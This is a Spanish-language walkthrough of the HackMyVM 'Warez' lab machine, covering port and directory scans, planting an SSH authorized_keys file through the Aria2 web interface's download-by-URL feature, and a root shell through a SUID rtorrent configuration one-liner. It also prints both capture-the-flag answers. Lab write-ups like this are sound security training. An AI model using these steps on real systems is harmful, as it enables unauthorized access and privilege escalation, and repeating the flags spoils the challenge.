Warez HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 03:19 EDT
Nmap scan report for 192.168.5.30
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 cc:00:63:dd:49:fb:1c:c7:ac:69:63:bc:05:1a:59:cd (RSA)
| 256 9b:19:49:25:eb:9c:60:c5:2b:ec:2a:d4:fd:d1:c2:f4 (ECDSA)
|_ 256 41:16:e6:d0:a0:da:22:4f:07:3f:c8:cf:60:2c:02:79 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Aria2 WebUI
6800/tcp open http aria2 downloader JSON-RPC
|_http-title: Site doesn't have a title.
MAC Address: 08:00:27:D5:26:02 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds
Veremos varios puertos interesantes, entre ellos el puerto 80
y el puerto 6800
vamos a ver que contiene cada uno de ellos, si nos vamos al puerto 80
veremos una pagina web normal y corriente sin nada interesante de forma aparente, ahora si nos vamos al puerto 6800
veremos una pantalla en negro como que esta cargando algo pero que no lo llega hacer ya que puede requerir algo mas, vamos a realizar fuzzing
en los 2
puertos a ver que encontramos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.30/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 81758]
/flags (Status: 403) [Size: 153]
/robots.txt (Status: 200) [Size: 12]
/result.txt (Status: 200) [Size: 1585]
[!] Keyboard interrupt detected, terminating.
Progress: 312843 / 882244 (35.46%)
===============================================================
Finished
===============================================================
Escalate user carolina
No encontraremos nada interesante, pero si volvemos a buscar en el puerto 80
veremos esta opcion interesante llamada Add
-> By URLs
y veremos un campo que sera el siguiente:

Veremos que nos podremos descargar un archivo de forma local en el servidor, desde una URL
por lo que vamos a probar a establecer un servidor de python3
y que se nos pase a la carpeta de carolina
el archivo de authorized_keys
vamos a realizar lo siguiente.
ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
cp ~/.ssh/id_rsa .
cat ~/.ssh/id_rsa.pub > authorized_keys
Una vez echo esto haremos lo siguiente.
python3 -m http.server
Desde la pagina vamos a rellenar la informacion de esta forma:

Una vez dandole al Start
veremos que se esta subiendo, en el servidor de python3
vemos que se descargo el archivo y si probamos a meternos mediante la id_rsa
de nuestro usuario del host
.
SSH
ssh -i id_rsa carolina@<IP>
Con esto estaremos dentro.
The authenticity of host '192.168.5.30 (192.168.5.30)' can't be established.
ED25519 key fingerprint is SHA256:6KuYVOialBusL5WnriRRpDGS7zkNND0tbubZE160qDo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.5.30' (ED25519) to the list of known hosts.
Linux warez 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 31 02:43:08 2021 from 192.168.1.51
carolina@warez:~$ whoami
carolina
Por lo que leeremos la flag
del usuario.
user.txt
HMVKeepdownloading
Escalate Privileges
Si listamos los permisos SUID
que tenemos en el sistema veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/null
Info:
134030 36 -rwsr-xr-x 1 root root 35040 Jul 28 2021 /usr/bin/umount
129908 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
129909 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
133492 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
134028 56 -rwsr-xr-x 1 root root 55528 Jul 28 2021 /usr/bin/mount
129906 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
147812 2040 -rwsr-sr-x 1 root root 2087648 Dec 29 2019 /usr/bin/rtorrent
133658 72 -rwsr-xr-x 1 root root 71912 Jul 28 2021 /usr/bin/su
129905 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
132259 52 -rwsr-xr-- 1 root messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
144105 472 -rwsr-xr-x 1 root root 481608 Mar 13 2021 /usr/lib/openssh/ssh-keysign
Veremos esta linea de aqui:
147812 2040 -rwsr-sr-x 1 root root 2087648 Dec 29 2019 /usr/bin/rtorrent
Vamos a buscar si hay alguna escalada o vulnerabilidad para poder ser root
.
echo "execute = /bin/sh,-p,-c,\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc /usr/bin/rtorrent
Info:
# whoami
root
Veremos que con esto seremos root
, por lo que leeremos la flag
de root
.
root.txt
HMVKeepsharing
Last updated